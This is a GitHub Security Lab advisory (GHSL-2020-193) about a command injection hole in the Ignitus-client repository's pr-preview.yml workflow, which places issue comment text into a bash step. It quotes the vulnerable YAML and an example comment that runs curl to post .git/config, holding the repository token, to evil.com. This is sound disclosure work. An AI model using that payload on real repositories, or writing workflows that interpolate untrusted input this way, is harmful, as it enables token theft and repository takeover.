The 'pr-preview.yml' GitHub workflow is vulnerable to arbitrary command injection.
Ignitus/Ignitus-client GitHub repository
pr-preview.yml from the master branch.
When a user comments on a public issue it automatically starts the pr-preview.yml GitHub workflow. The comment text is used to format a bash script.
on:
issue_comment:
types: [created]
jobs:
deploy_preview:
name: Deploy Preview of PR
runs-on: ubuntu-latest
steps:
- uses: actions/setup-node@v1
- uses: actions/checkout@v2
- run: npm install yaml -s
- run: echo "::set-env name=worker::$( node ./scripts/deploy-preview/verify.js ${{ github.event.comment.user.login }} "${{ github.event.comment.body }}" )"
...
This vulnerability allows for arbitrary command injection into the bash script. For example a user may comment with "; curl -d @.git/config http://evil.com; sleep 10 )"
which will exfiltrate the temporary GitHub repository authorization token to the attacker controlled server. Although the token is not valid after the workflow finishes, since the attacker controls the execution of the workflow he or she can delay it to give the malicious server time to modify the repository. To make the attack less visible the attacker may modify the comment later.
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-193
in any communication regarding this issue.